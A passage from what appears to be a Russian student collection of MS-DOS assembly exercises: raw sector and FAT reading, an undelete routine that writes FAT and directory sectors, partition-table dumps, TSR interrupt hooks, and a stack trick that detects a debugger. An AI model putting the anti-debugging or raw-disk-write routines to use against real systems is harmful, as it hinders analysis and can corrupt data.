Оглавление
1 ;программа читает заданный сектор заданного файла.. 1
;без проверки на правильность введенного номера.. 1
;номер сектора должен вводиться в hex формате.. 1
2 ;TSR-программа на 16-й вектор с проверкой на повторную установку.. 5
3;программа вызывающая 16-е прерывание; 6
4 ;программа контролирует открытие EXE и COM файлов для записи.. 7
5 ;программа выводит содержимое FAT дискеты 3.5'' 8
6 ;программа выводит номера свободных кластеров дискеты 3.5'' 9
7 ;программа восстановления недефрагментированногофайла.. 11
в корневом каталоге надиске A.. 11
8 ;вывести Partition Table дискеты... 15
10 ;Написать программу, определяющую факт её работы в среде отладчика. 18
11 ; Эта прога выполняет по шагам оверлей overlay.ovl.. 19
12 ;выполнение программы по шагам без захода в процедуры второго уровня.. 20
13 ;вывести полный путь текущей программы... 21
14;Вывести полный путь текущей программы (взять из окружения) 22
15 ;Программа выводит свою Relacation Table.. 22
16 ;Вывести размер текущей программы... 25
17 ;Программа порождает дочерний процесс по пути.. 26
указанному в переменной окружения WORK. 26
18 ; Обращение к PSP и переменным добавление.. 28
; переменной дос TEMP1=<ком. строка>. 28
19 ;программа выводящая положение загрузочных секторов.. 30
;показывает расширенный раздел с номером... 30
;и относящиеся к нему SMBR с тем же номером... 30
20 ; прога бибикающая каждые 5 сек.. 32
21;программа читает заданный сектор заданного файла.. 33
;без проверки на правильность введенного номера.. 33
22 ; трассирование процедуры по шагам без без захода в подпроцедуры... 37
24 ; программа с двумя точками входа.. 40
25; загрузить процесс указанный в переменной среды... 41
26 ; загрузка оверлея со словом -- точка входа.. 42
27 при нажатии Ctrl-Break бибип и выход.. 42
28; рез. программа на int 16h с защитой от повторного запуска.. 43
29 ; защита exe и com файлов.. 44
31; начальные адреса дисков.. 48
33; сектор текстового файла.. 52
34; переписать последний клястер. 54
37 Резидентная программа, контролирующая чтение файлов типа .EXE.. 58
и .COM и выводящая соответствующее сообщение. 58
38 Вывести таблицу перенастройки (RT) текущей программы. 59
39; Обработка нажатия Ctrl_Pause.. 60
40;Резидент, выводящий по Alt+A сообщение.. 61
41 ;Резидент, выходящий по Alt+Q.. 61
42; Транзитная программа, cодержащая обработчик нажатия Ctrl-Break, по.. 62
; которму выводится строка сообщения и программа завершается. 62
43;TSR выводящая в нижней строке часы из CMOS. 63
44;Программа, контролирующая запуск программ... 64
45 Резидентная программа, которая активизируется по нажатию *. 66
Ctrl+B и удаляется из памяти по Ctrl+Q. *. 66
46 ;Проверка работы под дебаггером через регистр флагов.. 68
47;Программа, считающая число удаленных каталогов в корневом каталоге.. 69
48;Программа, считающая число удаленных файлов в корневом каталоге.. 69
49;Прочитать FAT дискеты в ОЗУ, выделив память динамически.. 70
50;Программа, считающая число незанятых элементов корневого каталога.. 70
51;Посчитать количество свободных кластеров дискеты... 71
52 Загрузить .EXE программу и настроить ее по месту.. 72
в памяти (не используя функцию Int 21h Fn 4Bh). 72
53.Разработать программу, выполняющую ввод опций из командной строки: 75
54;* Вывести начальые адреса разделов жесткого диска.. 77
55 Вывести размер текущей программы в байтах (информацию взять из заголовка файла) 80
56;передвинуть последний кластер файла.. 82
57 Вывести блок переменных среды MS-DOS. 86
58 Переписать последний кластер файла на свободное место (старый кластер освободить). 87
59 Загрузить оверлей и передать ему управление. Оверлей имеет две точки входа. 91
60 ;Вывод строки в определенное время.. 91
62; Программа определения сегментных адресов блоков памяти, принадлежащих.. 93
DOS.(программа выводящая MCB) 93
63.Программа выводящая блок переменных среды MS DOS. 95
64.Вывести формулы вычисления индекса в векторе.. 96
отображения для многомерного массива (размещены по столбцам). 96
65 программа с двумя точками входа. Передать текущую точку входа в командной строке. 96
66 ;Программа выводит свою Relacation Table.. 97
67 разбор командной строки и при определенном значении опции.. 100
загружает оверлей, выполняющий вывод сообщений на экран. 100
68 программа активизирующаяся по Int 16, с защитой от повторной загрузки. 101
;69Породить дочерний процесс, передав ему с помощью... 103
;переменной среды TEMP1=<имя файла> путь к рабочему файлу.. 103
;SET TEMP1=a:\vasiliev\1\proc.com... 103
70 Пилипец программа с двумя точками входа. Передать текущую точ- 104
ку входа в командной строке (EP1,2 - точки 1 и 2). 104
71 Пилипец Вывести сектор текстового файла (по его номеру, задаваемому в.. 105
72 Программа определения сегментных адресов блоков памяти, при- 109
bufLen = 9*256
catLen = (32*224)
Say macro MESSAGE_ADDR
lea dx,&MESSAGE_ADDR
mov ah,9
int 21h
endm
text segment 'CODE'
assume cs:text,ds:data
MAIN PROC far
PUSH DS
SUB AX,AX
PUSH AX
MOV AX,DATA
MOV DS,AX
;определить длину строки параметров
mov al,byte ptr es:[80h]
mov parmLen,al
cmp al,0
jne Work
Say mess0
jmp exit
Work:
;выбрать из строки параметров номер сектора
call ConvertToHex
mov ax,ReadCluster
call vivod
;прочитать FAT в буфер
call ReadFat
;прочитать корневой каталог в буфер
call ReadCat
;поиск файла в корневом каталоге
call SearchFile
;вычисление относительного номера сектора
mov ax,CurCluster
add ax,31
add CurSector,ax
call vivod
mov ax,CurCluster
call vivod
;если задан первый сектор файла, то сразу читать его
mov cx,ReadCluster
cmp cx,1
je @a1
;иначе, отследить по FAT положение сектора файла
start:
call GetFatElement
loop start
@a1:
;один сектор на кластер
;получить сектор
call GetFileCluster
;вывести сектор
call OutFileCluster
;*******завершить процесс********
exit:
mov ah,4ch
int 21h
MAIN ENDP
;поиск файла в корневом каталоге для определения стартового кластера
SearchFile PROC
mov ax,SEG fName
mov ds,ax
mov ax,SEG catBuf
mov es,ax
mov bx,0
mov @,224
cld
;сравниваем имя файла
compr1:
mov cx,lenFn
mov si,offset fName
mov di,offset catBuf
add di,bx
repe cmpsb
je compr2
add bx,32
dec @
cmp @,0
jne compr1
jmp nofile
;сравниваем расширение файла
compr2:
mov cx,lenFe
mov si,offset fExt
mov di,offset catBuf
add di,bx
add di,08h
repe cmpsb
je file
add bx,32
jmp compr1
file:
Say mess1
add bx,1ah
;прочитать номер стартового кластера файла
mov al,catBuf[bx]
mov ah,catBuf[bx+1]
mov CurCluster,ax
ret
;файл не найден
nofile:
Say mess2
ret
SearchFile ENDP
;принимает в CurCluster номер кластера файла
GetFatElement PROC ;возвращает в CurCluster содержимое поля FAT
push cx
mov bx,offset fatBuf ;т.е. номер следующего элемента FAT
mov ax,CurCluster
shl ax,1 ;кластер * 2
add ax,CurCluster ;кластер * 3
test ax,1
pushf
shr ax,1 ;кластер * 1.5
add bx,ax
mov ax,[bx]
popf
jz B1
mov cl,4 ;произведение - дробное число
shr ax,cl
jmp B2
B1: and ax,0fffh ;произведение - целое число
B2: mov CurCluster,ax
mov CurSector,ax
add CurSector,31
pop cx
ret
GetFatElement ENDP
;читает сектор файла в filebuf
GetFileCluster PROC
MOV AL,00h ;номер дисковода
MOV AH,00H
MOV CX,01H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ
MOV DX,CurSector ;НОМЕР СЕКТОРА
MOV BX,SEG filebuf
MOV DS,BX
mov BX,offset filebuf
INT 25H
popf
ret
GetFileCluster ENDP
;выводит сектор файла из filebuf на экран
OutFileCluster PROC
MOV AH,40H ;Функция вывода на экран
MOV BX,01 ;Номер устройства
MOV CX,512 ;Длина
LEA DX,filebuf
INT 21H
ret
OutFileCluster ENDP
;читает FAT в fatBuf
ReadFat PROC
MOV AL,00h ;номер дисковода
MOV AH,00H
MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ
MOV DX,01h ;НОМЕР ПЕРВОГО СЕКТОРА
MOV BX,SEG fatBuf
MOV DS,BX
mov BX,offset fatBuf
INT 25H ;прочитать FAT в buf
popf
ret
ReadFat ENDP
;читает корневой каталог в catBuf
ReadCat PROC
MOV AL,00h ;номер дисковода
MOV AH,00H
MOV CX,0EH ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ
MOV DX,19 ;НОМЕР ПЕРВОГО СЕКТОРА
MOV BX,SEG catBuf
MOV DS,BX
mov BX,offset catBuf
INT 25H
popf
ret
ReadCat ENDP
;пропускает стартовые пробелы строки параметров
SkipSpace proc near
NextSpace:
cmp byte ptr [si],' '
jne Cont
inc si
dec parmLen
jmp NextSpace
Cont:
ret
SkipSpace endp
;Преобразование числа в строке параметров в hex формат
ConvertToHex proc
mov si,81h
inc si ;Настроить si на первый символ командной строки
dec parmLen
call SkipSpace
xor cx,cx
mov cl,parmLen
xor ax,ax
convert:
push cx
mov al,es:[si]
CMP AL,39H
JBE B
SUB AL,7H
B:
SUB AL,30H
XOR AH,AH
MOV CL,4
SHL ReadCluster,CL
ADD ReadCluster,AX
pop cx
inc si
loop convert
ret
ConvertToHex endp
VIVOD proc near
;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX
;ВЫВОД ОСУЩЕСТВЛЯЕТСЯ В ДЕСЯТИЧНОМ ФОРМАТЕ
mov @,0h
xor dx,dx
mov bx,10
C3:
div bx
push dx
sub dx,dx
inc @
cmp ax,0
jne C3
mov cx,word ptr @
mov ch,0h
C4:
pop dx
add dl,30h
mov ah,02h
int 21h
loop C4
mov dl,' '
mov ah,02h
int 21h
RET
VIVOD endp
text ends
data segment
@ dw 00h
fatBuf dw bufLen DUP(0) ;Область размещения FAT
catBuf db catLen DUP(0) ;Область размещения корневого каталога
filebuf db 512 dup(0) ;область ввода кластеров файла
fName db 'README'
lenFn = $-fName
; fName db 'RT'
; lenFn = $-fName
fExt db 'TXT'
lenFe = $-fExt
; fExt db 'ASM'
; lenFe = $-fExt
CurCluster dw ?
ReadCluster dw 0
CurSector dw ?
parmLen db ?
mess0 db "Укажите номер сектора файла в шестнадцатиричном формате!",10,13,"$"
mess1 db "Файл найден!",10,13,"$"
mess2 db "Файл не найден!",10,13,"$"
data ends
end
text segment 'code'
assume cs:text,ds:text
org 100h
new_16h proc far
jmp init
;Признак повторной установки
mark dw 1234h
entry: push ax
push cx
push si
push ds
push es
push di
;Наша функция?
cmp ah,07h
jne en_d
mov ax,cs
mov ds,ax
mov ax,0b800h
mov es,ax
mov di,80*2*12+32*2
mov si,offset soob1
mov cx,len1
rep movsb
en_d:
pop di
pop es
pop ds
pop si
pop cx
pop ax
jmp cs:old_16h
new_16h endp
soob1 db "H",34h,"e",34h,"l",34h,"l",34h,"o",34h,"w",34h,"!",34h
len1=$-soob1
old_16h dd 0
ressize=$-new_16h
soob2 db "Резидент установлен!","$"
soob3 db "Резидент уже установлен!","$"
;Транзитная часть
init proc
;Получить содержимое 16-го вектора
mov ah,35h
mov al,16h
int 21h
push bx
sub bx,2
;Проверить на повторную установку
cmp word ptr es:[bx],1234h
je instaled
pop bx
mov word ptr old_16h,bx
mov word ptr old_16h+2,es
push ds
;Заполнить 16-й вектор
mov dx,offset entry
mov ah,25h
mov al,16h
int 21h
pop ds
mov ah,09h
mov dx,offset soob2
int 21h
;Оставить резидентной и выити в DOS
mov dx,(ressize+10fh)/16
mov ax,3100h
int 21h
instaled:
mov ah,09h
mov dx,offset soob3
int 21h
mov ax,4c01h
int 21h
init endp
text ends
end new_16h
Say macro MESSAGE_ADDR
lea dx,&MESSAGE_ADDR
mov ah,9
int 21h
endm
CODESG SEGMENT PARA 'CODE'
ASSUME CS:CODESG,DS:DATASG
BEGIN PROC FAR
PUSH DS
SUB AX,AX
PUSH AX
MOV AX,DATASG
MOV DS,AX
mov ah,07h
int 16h
; Say mess1
exit:
mov ax,4c00h
int 21h
BEGIN ENDP
CODESG ENDS
DATASG SEGMENT PARA 'DATA'
mess1 db "Hellow!",10,13,"$"
DATASG ENDS
END BEGIN
code segment
assume cs:code,ds:code,ss:code
org 100h
begin: jmp main
;обработчик открытия файла для записи
int21: push ax bx dx cx ds
cmp ah,03Dh ;открытие файла
jne exit
cmp al,00h ;00-чтение
;если режим только чтения, на выход
je exit ;01-запись, 10-запись и чтение
;поиск конца ASCIIZ строки, кот. находится в DS:DX
mov bx,dx
next: inc bx
mov al,ds:[bx]
cmp al,0 ;признак окончания строки
jne next ;если не конец, перейти к
;следующему символу
;проверка на расширение .COM
mov al,ds:[bx-1]
cmp al,'M'
jne exe
mov al,ds:[bx-2]
cmp al,'O'
jne exe
mov al,ds:[bx-3]
cmp al,'C'
jne exe
mov al,ds:[bx-4]
cmp al,'.'
jne exit
jmp print
jmp exit
;проверка на расширени EXE
exe: mov al,ds:[bx-1]
cmp al,'E'
jne exit
mov al,ds:[bx-2]
cmp al,'X'
jne exit
mov al,ds:[bx-3]
cmp al,'E'
jne exit
;вывести имя файла
print: mov bx,dx
L1: mov ah,02h
mov dl,ds:[bx]
int 21h
inc bx
cmp dl,0 ;проверка на конец строки
jne L1;если не конец,то взять следующий символ
exit: pop ds cx dx bx ax
;передать управление старому обработчику int 21h
db 0eah ;код команды JMP
old_int21 dd ? ;адрес старого обработчика
main: mov ax,3521h;получить адрес
int 21h ;обработчика INT 21h
mov word ptr old_int21,bx ;сохранить адрес
mov word ptr old_int21+2,es;старого обработчика
mov ax,2521h
mov dx,offset int21 ;установить свой обработчик
int 21h
mov dx,offset main
int 27h;завершить программу и оставить резидентной
code ends
end begin
bufLen = (9*512)
text segment 'CODE'
assume cs:text,ds:data
MAIN PROC far
MOV AL,00h ;номер дисковода
MOV AH,00H
MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ
MOV DX,01h ;НОМЕР ПЕРВОГО СЕКТОРА
MOV BX,SEG fatBuf
MOV DS,BX
mov BX,offset fatBuf
INT 25H ;прочитать FAT в buf
popf
call OutFat
;*******завершить процесс********
exit:
mov ah,4ch
int 21h
;********************************
MAIN ENDP
GetFatElement PROC ;возвращает в CurCluster содержимое поля FAT
mov bx,offset fatBuf
mov ax,CurCluster
shl ax,1 ;кластер * 2
add ax,CurCluster ;кластер * 3
test ax,1
pushf
shr ax,1 ;кластер * 1.5
add bx,ax
mov ax,[bx]
popf
jz B1
mov cl,4 ;произведение - дробное число
shr ax,cl
jmp B2
B1: and ax,0fffh ;произведение - целое число
B2: mov CurCluster,ax
ret
GetFatElement ENDP
OutFat PROC
mov cx,bufLen
start:
mov ax,CurCluster
mov saveCluster,ax
push cx
call GetFatElement
mov ax,CurCluster
call vivod
pop cx
; mov ah,08h
; int 21h
mov ax,saveCluster
mov CurCluster,ax
inc CurCluster
loop start
ret
OutFat ENDP
VIVOD proc near
;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX
mov @,0h
xor dx,dx
mov bx,10
C3:
div bx
push dx
sub dx,dx
inc @
cmp ax,0
jne C3
mov cx,word ptr @
mov ch,0h
C4:
pop dx
add dl,30h
mov ah,02h
int 21h
loop C4
mov dl,' '
mov ah,02h
int 21h
RET
VIVOD endp
text ends
data segment
@ dw 00h
fatBuf dw bufLen DUP(0) ;Область размещения FAT
CurCluster dw 2
saveCluster dw 0
data ends
end
bufLen = (9*512)/2
text segment 'CODE'
assume cs:text,ds:data
MAIN PROC far
MOV AL,00h ;номер дисковода
MOV AH,00H
MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ
MOV DX,01h ;НОМЕР ПЕРВОГО СЕКТОРА
MOV BX,SEG fatBuf
MOV DS,BX
mov BX,offset fatBuf
INT 25H ;прочитать FAT в buf
popf
call OutFree
;*******завершить процесс********
exit:
mov ah,4ch
int 21h
;********************************
MAIN ENDP
GetFatElement PROC ;возвращает в CurCluster содержимое поля FAT
mov bx,offset fatBuf
mov ax,CurCluster
shl ax,1 ;кластер * 2
add ax,CurCluster ;кластер * 3
test ax,1
pushf
shr ax,1 ;кластер * 1.5
add bx,ax
mov ax,[bx]
popf
jz B1
mov cl,4 ;произведение - дробное число
shr ax,cl
jmp B2
B1: and ax,0fffh ;произведение - целое число
B2: mov CurCluster,ax
ret
GetFatElement ENDP
OutFree PROC
mov cx,bufLen
; mov cx,20
start:
mov ax,CurCluster
mov saveCluster,ax
push cx
call GetFatElement
cmp CurCluster,0
jne @a1
mov ax,saveCluster
call vivod
;Задержка
; mov ah,08h
; int 21h
@a1:
pop cx
mov ax,saveCluster
mov CurCluster,ax
inc CurCluster
loop start
ret
OutFree ENDP
VIVOD proc near
;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX
mov @,0h
xor dx,dx
mov bx,10
C3:
div bx
push dx
sub dx,dx
inc @
cmp ax,0
jne C3
mov cx,word ptr @
mov ch,0h
C4:
pop dx
add dl,30h
mov ah,02h
int 21h
loop C4
mov dl,' '
mov ah,02h
int 21h
RET
VIVOD endp
text ends
data segment
@ dw 00h
fatBuf dw bufLen DUP(0) ;Область размещения FAT
CurCluster dw 2
saveCluster dw 0
data ends
end
;корневой каталог занимает с 19 по 32 сектора и состоит из
;224 злементов по 32 байта каждый
;первый FAT занимает с 1 по 9 сектор, а второй FAT - с 10 по 18 сектора
;Так как FAT 12-ти битный , то в трех байтах FAT содержатся два элемента FAT.
;Для локализации элемента FAT необходимо номер кластера умножить на 1.5,
;выбрать содержимое байтов по смещению целой части от деления. Байты меняются
;местами. Если номер кластера нечетный то берутся первые три цифры, иначе
;брать последние три цифры. Эти цифры указывают на следующий кластер.
catLen = (32*224) ;длина буфера под каталог
fatLen = (9*512)/2 ;длина буфера под FAT
text segment 'CODE'
assume cs:text,ds:data
MAIN PROC far
PUSH DS
SUB AX,AX
PUSH AX
MOV AX,DATA
MOV DS,AX
; Чтение в память FAT 1
MOV AL,00h ;номер дисковода
MOV AH,00H
MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ
MOV DX,01h ;НОМЕР ПЕРВОГО СЕКТОРА
MOV BX,SEG fatBuf1
MOV DS,BX
mov BX,offset fatBuf1
INT 25H ;прочитать FAT 1 в fatBuf1
popf
; Чтение в память FAT 2
MOV AL,00h ;номер дисковода
MOV AH,00H
MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ
MOV DX,10 ;НОМЕР ПЕРВОГО СЕКТОРА
MOV BX,SEG fatBuf2
MOV DS,BX
mov BX,offset fatBuf2
INT 25H ;прочитать FAT 2 в fatBuf2
popf
; Чтение в память каталога
MOV AL,00h ;номер дисковода
MOV AH,00H
MOV CX,0EH ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ
MOV DX,19 ;НОМЕР ПЕРВОГО СЕКТОРА
MOV BX,SEG catBuf
MOV DS,BX
mov BX,offset catBuf
INT 25H ;прочитать каталог в catBuf
popf
MOV BX,SEG catBuf
MOV DS,BX
;Поиск первого удаленного файла
xor ax,ax
mov cx,maxCatSize ;в CX max количество записей в каталоге
fnd_lp:
mov bx,offset catBuf ;в BX размещение каталога в памяти
add bx,ax ;в AX смещение в каталоге на начало записи
add ax,32 ;приращение для перехода на след. запись
cmp byte ptr [bx],0e5h ;сравнение первого символа в записи для
;нахождения удаленного файла
loopnz fnd_lp ;переход на метку fnd_lp если найден файл или
;конец каталога
cmp cx,0 ;определение того, что в каталоге нет удаленного
;файла
je exit ;если файл не найден, тогда выход
sub ax,32 ;AX указывает на следующий файл после первого
;удаленного
mov pos,ax ;в pos позиция первого удаленного файла
mov ax,[bx]+26
mov startCluster,ax ;в startCluster первый кластер файла
mov ax,[bx]+29
mov fSize,ax
shr fSize,1
add fSize,1 ;в fSize размер файла в кластерах
mov ax,DATA
mov ds,ax
call Restore ;вызов процедуры восстановления файла
exit: ;выход из программы
mov ah,4ch
int 21h
MAIN ENDP
;Процедура восстановления файла
Restore proc NEAR
mov Buf,offset fatBuf1
call SetFatElement ;вызов процедуры восстановления FAT 1
mov Buf,offset fatBuf2
call SetFatElement ;вызов процедуры восстановления FAT 2
mov bx,pos ;в BX позиция в каталоге удаленного файла
mov catBuf[bx],'L' ;замена символа 0E5h на символ 'L' в имени файла
;Запись на диск каталога из памяти
MOV AL,00h ;номер дисковода
MOV AH,00H
MOV CX,0EH ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ
MOV DX,19 ;НОМЕР ПЕРВОГО СЕКТОРА
MOV BX,SEG catBuf
MOV DS,BX
mov BX,offset catBuf
INT 26H ;Запись каталога на диск из catBuf
popf
;Запись на диск FAT 1 из памяти
MOV AL,00h ;номер дисковода
MOV AH,00H
MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ
MOV DX,01h ;НОМЕР ПЕРВОГО СЕКТОРА
MOV BX,SEG fatBuf1
MOV DS,BX
mov BX,offset fatBuf1
INT 26H ;Запись FAT 1 на диск из fatBuf1
popf
;Запись на диск FAT 2 из памяти
MOV AL,00h ;номер дисковода
MOV AH,00H
MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ
MOV DX,10 ;НОМЕР ПЕРВОГО СЕКТОРА
MOV BX,SEG fatBuf2
MOV DS,BX
mov BX,offset fatBuf2
INT 26H ;Запись FAT 2 на диск из fatBuf2
popf
ret
Restore endp
;Процедура восстановления FAT
SetFatElement PROC NEAR
push ax
push bx
push cx
push dx
mov ax,startCluster
mov CurCluster,ax ;записать в CurCluster startCluster
mov ax,fSize
mov vSize,ax ;записать в vSize (счетчик кластеров) fSize
start:
mov bx,Buf ;в BX начало буфета, где в памяти находится FAT
mov ax,CurCluster
call vivod ;вызов процедуры вывода на экран номера кластера
test ax,1 ;проверка номера кластера на четность
pushf ;запомнить флаг в стеке
;вычисление смещения кластера в FAT относительно начала буфера
shl ax,1 ;кластер * 2
add ax,CurCluster ;кластер * 3
shr ax,1 ;кластер / 2
;в AX номер кластера деленный на 1.5
mov addr,ax ;в addr смещение кластера
add bx,addr ;в BX адрес кластера в памяти
mov dx,[bx] ;в DX значение двух байт до изменения
inc CurCluster ;файл не фрагментирован поэтому каждый кластер
;указывает на следующий
mov cx,CurCluster
mov ax,CurCluster
popf ;восстановление флагов из стека для определения
;четности номера кластера
jz B1 ;если номер кластера четный, то переход на B1
;если номер кластера нечетный
mov cl,4
shl ax,cl ;номер кластера в AX смещаем на 4 бита влево
mov cx,ax ;в CX смещенный номер кластера
and dx,0fh ;от два байта(до изменения) возмем только
;младшие 4 бита(эти 4 бита от другого кластера)
or cx,dx ;сложим старшие 12 бит смещенного номера кластера
;и младшие 4 бита другого кластера
or dx,0fff0h ;в DX сложим младшие 4 бита другого кластера
;и значение 0FFFh (последний кластер файла)
;для того, если этот кластер окажится последним
jmp B2 ;переход на B2
;если номер кластера нечетный
B1:
and dx,0f000h ;от два байта(до изменения) возмем только
;старшие 4 бита(эти 4 бита от другого кластера)
or cx,dx ;сложим младшие 12 бит смещенного номера кластера
;и старшие 4 бита другого кластера
or dx,0fffh ;в DX сложим старшие 4 бита другого кластера
;и значение 0FFFh (последний кластер файла)
;для того, если этот кластер окажится последним
B2:
cmp vSize,1 ;проверка на последний кластер
jne B3 ;если не последний, то переход на B3
;если последний кластер
mov [bx],dx ;в память по адресу BX запишем заранее сформиро-
;ванное значение 0FFFh (последний кластер)
jmp B4 ;переход на B4
;если не последний кластер
B3:
mov [bx],cx ;в память по адресу BX запишем заранее сформиро-
;ванное значение (номер кластера + 1)
dec vSize ;уменьшим счетчик кластеров
jmp Start ;переход на Start
;выход
B4:
pop dx
pop cx
pop bx
pop ax
ret
SetFatElement ENDP
VIVOD proc near
;Процедура вывода на экран целого числа в регистре AX.
;Число помещается в ax и осуществляется выделение цифр
;начиная с младшей путем деления числа на 10.
;После деления значащая цифра числа находится в регистре dx (остаток
;от деления). Эта цифра помещается в стек.
push ax
push bx
push dx
push cx
mov @,0h
xor dx,dx
mov bx,10
C3:
div bx
push dx
sub dx,dx
inc @
cmp ax,0
jne C3
mov cx,word ptr @
mov ch,0h
;вывод числа на экран посимвольно
;цифры числа извлекаются из стека
C4:
pop dx
add dl,30h
mov ah,02h
int 21h
loop C4
mov dl,' '
mov ah,02h
int 21h
pop cx
pop dx
pop bx
pop ax
RET
VIVOD endp
text ends
data segment
@ dw 00h
catBuf db catLen DUP(0) ;Область размещения корневого каталога
fatBuf1 dw fatLen DUP(0) ;Область размещения FAT 1
fatBuf2 dw fatLen DUP(0) ;Область размещения FAT 2
startCluster dw ? ;стартовый кластер восстанавливаемого файла
curCluster dw 0
addr dw 0
step dw 32 ;размер элемента каталога
count dw 0
maxCatSize dw 224 ;максимальный размер корневого каталога в 32-битных
;элементах
fSize dw ? ;размер удаленного файла в секторах
pos dw ? ;позиция файла в каталоге
Buf dw ? ;указатель на буфер
vSize dw ? ;счетчик кластеров
data ends
end
print macro p1;макрос выводящий на экран сообщение p1
push dx
push ax
lea dx,p1
mov ah,9
int 21h
pop ax
pop dx
endm
s_stack segment para stack 'stack'
dw 1024 dup(?)
s_stack ends
s_data segment para public'date'
buffer db 512 dup (?);память под один сектор
str1 db 'Partition table:',10,13,'$'
nl db 10,13,'$' ;символ новой строки
count db 04h ;число записей в Partition Table
s_data ends
s_code segment para public 'code'
main proc far
assume cs:s_code,ds:s_data,ss:s_stack
push ds
sub ax,ax
push ax
mov ax,s_data
mov ds,ax
print str1 ;напечатаь строчку str1
;прочитать в буфeр самый первый сектор диска
mov ax,seg buffer ;ES:BX=сегмент:смещение буфера
mov es,ax
mov bx,offset buffer
mov dl,80h ;дисковод 80-жесткий диск
mov dh,0 ;головка
mov ch,0 ;цилиндр
mov cl,1 ;сектор
mov al,1 ;число секторов
mov ah,2 ;прочитать сектор
int 13h
;первый сектор в буфере
mov bx,offset buffer
add bx,01BEh ;начало первого раздела
next: mov cx,010h ;длина раздела
cycle: mov al,[bx]
call hexout ;вывести в шестнадцатеричном виде al
inc bx
loop cycle
print nl ;перевод строки
dec count
cmp count,0 ;если count=0, то все записи выведены
ja next ;если же нет, то вывести следующую
;распечатаь сигнатуру (AA55h)
mov al,[bx+1]
call hexout
mov al,[bx+2]
call hexout
ret
endp
;********************************************
hexout proc far ;AL=выводимое число
push dx
push ax
push bx
mov bl,al
mov ah,02h
mov dl,bl
shr dl,4
and dl,0Fh
add dl,30h
cmp dl,3Ah
jl @out1
add dl,07h
@out1: int 21h
mov dl,bl
and dl,0Fh
add dl,30h
cmp dl,3Ah
jl @out2
add dl,07h
@out2: int 21h
mov dl,' '
int 21h
pop bx
pop ax
pop dx
ret
endp
s_code ends
end main
title print_BPB
print macro p1
lea dx,p1
mov ah,9
int 21h
endm
s_stack segment para stack 'stack'
dw 1024 dup(?)
s_stack ends
s_data segment para public'date'
buffer db 0E9h,00h,00h ;первые три байта диска
FIRMID db '12345678' ;фирма изготовитель
bpb db 501 dup (?) ;BPB и все остальное
str1 db 'BPB дискеты:',10,13,'$'
s_data ends
s_code segment para public 'code'
main proc far
assume cs:s_code,ds:s_data,ss:s_stack
push ds
sub ax,ax
push ax
mov ax,s_data
mov ds,ax
print str1 ;вывести строку str1
mov ax,seg buffer ;ES:BX=сегмент:смещение буфера
mov es,ax
mov bx,offset buffer
mov dl,0 ;дисковод 00-7F гибкий диск
mov dh,0 ;головка
mov ch,0 ;цилиндр
mov cl,1 ;сектор
mov al,1 ;число секторов
mov ah,2 ;прочитать сектор
int 13h
mov bx,offset bpb ;dx=смещение BPB
mov cx,2Bh ;длина BPB
cycle: mov al,[bx]
call hexout ;вывести символ в шестнадцатеричном виде
inc bx
loop cycle ;если cx <> 0, то идти на cycle
ret
endp
;****** вывод содержимого AL в шестнадцатеричном виде****
hexout proc far ;AL=выводимое число
push dx
push ax
push bx
mov bl,al
mov ah,02h
mov dl,bl
shr dl,4
and dl,0Fh
add dl,30h
cmp dl,3Ah
jl @out1
add dl,07h
@out1: int 21h
mov dl,bl
and dl,0Fh
add dl,30h
cmp dl,3Ah
jl @out2
add dl,07h
@out2: int 21h
mov dl,' '
int 21h
pop bx
pop ax
pop dx
ret
endp
s_code ends
end main
Code segment para
assume cs:code,ss:code,ds:code,es:code
org 100h
begin:
jmp start
mes1 db "Debuger is activate step by step",10,13,"$"
mes15 db "Vector 03h is hook",10,13,"$"
mes2 db "Programm run",10,13,"$"
start:
mov ax, 3503h ;получаем адрес программы обработчика
int 21h ;прерывания 03h
;теперь он по адресу ES:BX
mov al, byte ptr ir ;в al код команды iret
cmp byte ptr es:[bx], al ;проверяем настроен ли обработчик
;прерывния 03h
je l2
mov ah,09h
mov dx,offset mes15
int 21h
l2:
mov ah,09h
mov dx,offset mes2
int 21h
mov di,sp
sub di,2 ;di=sp-2
mov ax,0
mov word ptr ds:[di],ax ;записываем 0
mov ax,word ptr ds:[di] ;получи в обратку 0 если
;прога не трассируется
;иначе в ах - регистр флагов
;регистр флагов автоматически помещается при вызове прерывания
;в стек. Если поместить в следующую за указателем стека ячейку
;число 0 а затем считать результат, то
;в случае пошагового выполнения там окажется регистр флагов,
;который никогда не равен 0
cmp ax,0
je exit ; если ах=0 то прога не под
; отладчиком
mov dx,offset mes1 ; иначе она трассируется,
mov ah, 09h ; о чем и сообщаем
int 21h
exit:
int 20h ; завершить работу
ir:
iret
code ends
end begin
Program Segment para 'Code'
Assume cs:Program,ds:Program
Org 100h
Start: mov ax,2501h ; Настроить вектор прерывания 01h
mov dx,offset Tracer ; на процедуру Tracer
int 21h ;
mov ax,3D00h ;
mov dx,offset OvName ; Открывает файл overlay.ovl
int 21h ; для чтения
jc Failure ; если ошибка (сf=1)
; на метку Failure
xchg bx,ax ; дискриптор теперь в bx
mov ah,3Fh ; по дискриптору файла пере-
mov dx,offset OvLocation ; дает данные из файла в
mov cx,0FFFFh ; буфер OvLocation
int 21h ; сх=числу байтов для чтения
jc Failure ; если ошибка (сf=1)
pushf ; сохранить регистр флагов
or ah,3 ; установить флаг
push ax ; трассировки
popf ; tf=1
call OvLocation ; выполнить оверлей
popf ; восстановить регистр флагов
ret
Failure: mov ah,9
